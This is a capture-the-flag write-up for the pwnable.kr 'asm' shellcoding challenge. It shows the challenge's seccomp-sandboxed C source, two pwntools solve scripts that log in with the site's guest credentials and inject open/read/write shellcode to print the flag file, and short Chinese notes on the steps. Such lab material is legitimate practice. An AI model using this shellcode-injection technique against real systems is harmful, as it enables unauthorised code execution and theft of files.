#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <seccomp.h>
#include <sys/prctl.h>
#include <fcntl.h>
#include <unistd.h>#define LENGTH 128void sandbox(){scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL);if (ctx == NULL) {printf("seccomp error\n");exit(0);}seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(open), 0);seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 0);seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0);seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit), 0);seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0);if (seccomp_load(ctx) < 0){seccomp_release(ctx);printf("seccomp error\n");exit(0);}seccomp_release(ctx);
}char stub[] = "\x48\x31\xc0\x48\x31\xdb\x48\x31\xc9\x48\x31\xd2\x48\x31\xf6\x48\x31\xff\x48\x31\xed\x4d\x31\xc0\x4d\x31\xc9\x4d\x31\xd2\x4d\x31\xdb\x4d\x31\xe4\x4d\x31\xed\x4d\x31\xf6\x4d\x31\xff";
unsigned char filter[256];
int main(int argc, char* argv[]){setvbuf(stdout, 0, _IONBF, 0);setvbuf(stdin, 0, _IOLBF, 0);printf("Welcome to shellcoding practice challenge.\n");printf("In this challenge, you can run your x64 shellcode under SECCOMP sandbox.\n");printf("Try to make shellcode that spits flag using open()/read()/write() systemcalls only.\n");printf("If this does not challenge you. you should play 'asg' challenge :)\n");char* sh = (char*)mmap(0x41414000, 0x1000, 7, MAP_ANONYMOUS | MAP_FIXED | MAP_PRIVATE, 0, 0);memset(sh, 0x90, 0x1000);memcpy(sh, stub, strlen(stub));int offset = sizeof(stub);printf("give me your x64 shellcode: ");read(0, sh+offset, 1000);alarm(10);chroot("/home/asm_pwn");    // you are in chroot jail. so you can't use symlink in /tmp
    sandbox();((void (*)(void))sh)();return 0;
}

this_is_pwnable.kr_flag_file_please_read_this_file.sorry_the_file_name_is_very_loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0000000000000000000000000ooooooooooooooooooooooo000000000000o0o0o0o0o0o0ong

from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'
filename='this_is_pwnable.kr_flag_file_please_read_this_file.sorry_the_file_name_is_very_loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0000000000000000000000000ooooooooooooooooooooooo000000000000o0o0o0o0o0o0ong\0'
con = ssh(host='pwnable.kr', user='asm', password='guest', port=2222)
p = con.connect_remote('localhost', 9026)#cn = process('./asm')
p.recvuntil('shellcode: ')pay = '31c031ff31d2b601be0101010181f6014640400f056a0258bf0101010181f70146404031d2b60431f60f054889c731c031d2b602be0101010181f6014940400f056a01586a015f31d2b603be0101010181f6014940400f05'.decode('hex')p.send(pay)
p.send(filename)
print p.recvuntil('\x90')

from pwn import *con = ssh(host='pwnable.kr', user='asm', password='guest', port=2222)
p = con.connect_remote('localhost', 9026)context(arch='amd64', os='linux')shellcode = ''
shellcode += shellcraft.pushstr('this_is_pwnable.kr_flag_file_please_read_this_file.sorry_the_file_name_is_very_loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0000000000000000000000000ooooooooooooooooooooooo000000000000o0o0o0o0o0o0ong')
shellcode += shellcraft.open('rsp', 0, 0)
shellcode += shellcraft.read('rax', 'rsp', 100)
shellcode += shellcraft.write(1, 'rsp', 100)# log.info(shellcode)#p.recvuntil('shellcode: ')
#p.send(asm(shellcode))
#log.success(p.recvline())
print shellcode
print p.recv()
p.send(asm(shellcode))
print p.recvline()

1.先调用pushstr()把文件名读进去，然后调用open打开文件
2.再用read()将文件内容读取出来
3.最后用write将内容写到屏幕

4.用asm将其转换为shellcode